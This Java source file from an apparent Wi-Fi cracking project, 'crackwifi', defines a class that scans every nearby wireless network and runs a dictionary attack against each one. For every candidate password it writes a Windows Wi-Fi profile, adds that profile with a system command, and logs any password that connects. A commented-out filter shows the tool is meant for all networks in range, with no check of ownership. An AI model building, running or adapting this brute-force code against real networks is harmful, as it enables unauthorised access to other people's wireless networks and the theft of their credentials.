package com.white.crackwifi.exec;

import com.white.crackwifi.model.Ssid;
import com.white.crackwifi.statics.ExecuteCmdEnum;
import com.white.crackwifi.statics.TemplateData;
import com.white.crackwifi.utils.ExecuteUtil;
import com.white.crackwifi.utils.IOUtil;
import com.white.crackwifi.utils.NumberUtil;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;

/**
 * @author huangzy
 * @Description: 实现类
 * @date 2019/12/24 16:28
 */
@Component
public class WhiteCrackWifi extends CrackWifiAbstract {

    /**
     * WIFI配置文件存放路径
     */
    @Value("${crackWifi.wifiProFilePath}")
    private String wifiProFilePath;

    @Value("${crackWifi.log}")
    private String logPath;

    /**
     * 开始循环破解WIFI
     */
    @Override
    public void start() {
        //1. 获取周围所有WIFI
        List<Ssid> ssidList = getSsidList();
        //2. 获取密码字典
        List<String> passwordData = TemplateData.getPasswordData();
        //3. 遍历WIFI
        ssidList.forEach(ssid -> {
//            if (!ssid.getName().contains("White")) {
//                return;
//            }
            //4. 循环破解
            for (String password : passwordData) {
                if (password.contains("/")) {
                    continue;
                }
                if (check(ssid, password)) {
                    //6. 该密码可用, 存入log
                    writerLog(String.format("[WIFI: %s][密码: %s]: 连接成功,该密码可用",ssid.getName(),password));
                    break;
                }
            }
        });
    }

    /**
     * 写日志
     * @param log
     */
    private void writerLog(String log){
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        String dateStr = sdf.format(new Date());
        try {
            IOUtil.stringToFileAppend(String.format("[%s]%s",dateStr,log),logPath,"log.log");
        } catch (IOException e) {
            System.err.println("日志写入失败: ".concat(log));
            e.printStackTrace();
        }
    }


    /**
     * 获取文件存放路径
     * @return
     */
    private String getWifiProFilePath() {
        if (wifiProFilePath != null) {
            if (wifiProFilePath.endsWith("/")){
                return wifiProFilePath;
            }else {
                return wifiProFilePath.concat("/");
            }
        }
        return wifiProFilePath;
    }

    /**
     * 将结果集转换为SSID对象集合
     * @param result 结果集
     * @return
     */
    @Override
    protected List<Ssid> convert(List<String> result) {
        if (result == null || result.size() == 0) {
            return new ArrayList<>();
        }
        List<Ssid> ssids = new ArrayList<>();
        Ssid ssid = null;
        for (String o : result) {
            if (ssid == null) {
                ssid = new Ssid();
            }
            String[] split = o.split(":");
            if (split.length < 2) {
                continue;
            }
            String key = split[0];
            String value = split[1];
            if (key.contains("SSID")) {
                ssid.setName(value.trim());
            }else if (key.contains("身份验证")){
                if (value.contains("开放式")) {
                    ssid.setIsPassword(false);
                }else {
                    ssid.setIsPassword(true);
                }
            }else if (key.contains("加密")){
                ssid.setEncryptionType(value.trim());
            } else if (key.contains("信号")) {
                String signal = value.replaceAll("%", "");
                if (NumberUtil.isNumber(value.replaceAll("%", ""))) {
                    ssid.setSignal(Integer.parseInt(signal));
                }
            }
            if (ssid.getName() != null && ssid.getIsPassword() != null && ssid.getEncryptionType() != null) {
                ssids.add(ssid);
                ssid = null;
            }
        }
        return ssids;
    }

    /**
     * 将该WIFI的密码保存到本地中
     * @param ssid
     * @param password
     */
    @Override
    protected boolean save(Ssid ssid, String password) {
        String data = IOUtil.fileToString(TemplateData.getSsidTemplateFile());
        data = data.replaceAll("SSID_NAME",ssid.getName());
        data = data.replaceAll("AUTH_TYPE",ssid.getEncryptionType());
        data = data.replaceAll("PASSWORD",password);
        data = data.replaceAll("HEX",ExecuteUtil.str2HexStr(ssid.getName()));
        String passwordXmlPath = password.concat(".xml");
        try {
            IOUtil.stringToFile(data,getWifiProFilePath(),passwordXmlPath);
            return true;
        } catch (IOException e) {
            e.printStackTrace();
        }
        return false;
    }

    /**
     * 添加配置文件到wifi配置中
     * @param fileName 文件名称
     */
    @Override
    public boolean addProfile(String fileName) {
        try {
            List<String> result = ExecuteUtil.execute(ExecuteCmdEnum.ADD_PROFILE.getCmd().replaceAll("FILE_NAME", fileName), getWifiProFilePath());
            if (result != null && result.size() > 0) {
                if (result.get(0).contains("添加到接口")) {
                    return true;
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return false;
    }

    /**
     * 删除WIFI配置文件
     * @param fileName 文件名称
     */
    @Override
    public void deleteProfile(String fileName) {
        try {
            ExecuteUtil.execute(ExecuteCmdEnum.DELETE_PROFILE.getCmd().replaceAll("FILE_NAME", fileName), getWifiProFilePath());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
